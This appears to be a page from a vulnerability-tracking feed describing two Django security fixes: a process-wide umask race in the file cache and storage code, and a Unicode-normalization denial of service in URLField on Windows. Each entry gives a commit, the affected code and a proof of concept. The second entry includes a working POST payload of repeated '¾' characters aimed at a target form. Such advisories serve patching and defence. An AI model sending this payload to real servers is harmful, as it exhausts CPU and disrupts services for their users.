// Result before patch: process crashes with SIGSEGV or assertion failure due to null pointer dereference
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-25674 Incorrect Permissions / Race Condition (umask)

Mar 3, 2026, 12:09 PM — django/django

📈 Patch landed 3 hours 22 minutes before CVE published

Commit: 019e44f67a8dace67b786e2818938c8691132988

Author: Natalia

In multi-threaded Django applications, the file-based cache backend and filesystem storage used temporary umask changes (via os.umask()) to control directory permissions when creating directories. Because os.umask() is a process-wide operation, a temporary umask change in one thread could affect directory/file creation in other threads, resulting in file system objects being created with unintended (potentially overly permissive) permissions. The patch replaces the umask manipulation approach with a safe_makedirs() function that uses os.chmod() after os.mkdir() to enforce the exact requested permissions.

🔍 View Affected Code & PoC

Affected Code

old_umask = os.umask(0o077)
try:
    os.makedirs(self._dir, 0o700, exist_ok=True)
finally:
    os.umask(old_umask)

Proof of Concept

import threading, os, tempfile, time
# In a multi-threaded Django app using FileBasedCache:
# Thread A calls _createdir() which sets umask to 0o077
# Thread B simultaneously creates a file/directory expecting default umask (e.g., 0o022)
# Thread B's file ends up with permissions masked by Thread A's 0o077 umask
# Concrete example:
tmp = tempfile.mkdtemp()
def thread_a():
    # Simulates FileBasedCache._createdir() - sets umask to 0o077
    os.umask(0o077)
    time.sleep(0.01)  # holds umask while thread B runs
    os.umask(0o022)  # restore

def thread_b():
    time.sleep(0.005)  # starts after thread A changes umask
    path = os.path.join(tmp, 'upload_dir')
    os.makedirs(path, 0o755, exist_ok=True)  # intended: rwxr-xr-x
    print(oct(os.stat(path).st_mode))  # actual: 0o700 (too restrictive) due to umask 0o077

ta = threading.Thread(target=thread_a)
tb = threading.Thread(target=thread_b)
ta.start(); tb.start(); ta.join(); tb.join()
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-25673 Denial of Service (DoS)

Mar 3, 2026, 12:08 PM — django/django

📈 Patch landed 3 hours 22 minutes before CVE published

Commit: 951ffb3832cd83ba672c1e3deae2bda128eb9cca

Author: Natalia

Django's URLField.to_python() used urlsplit() to detect URL schemes, which on Windows performs NFKC Unicode normalization. This normalization is disproportionately slow for inputs containing certain Unicode characters (e.g., characters like '¾'), allowing an attacker to craft a POST payload that causes excessive CPU consumption. The patch replaces urlsplit() with str.partition(':') for scheme detection, avoiding Unicode normalization entirely.

🔍 View Affected Code & PoC

Affected Code

try:
    return list(urlsplit(url))
except ValueError:
    # urlsplit can raise a ValueError with some
    # misformatted URLs.
    raise ValidationError(self.error_messages["invalid"], code="invalid")

Proof of Concept

On Windows, send a POST request with a URLField value containing a large string of Unicode characters that trigger slow NFKC normalization:

import requests
# Craft a payload with characters that cause slow NFKC normalization
payload = {'url_field': 'http://' + '\u00be' * 50000}  # '¾' repeated 50000 times
requests.post('http://target-django-app/form/', data=payload)
# This causes urlsplit() to perform slow Unicode normalization on Windows,
# consuming excessive CPU and potentially blocking the server's worker threads.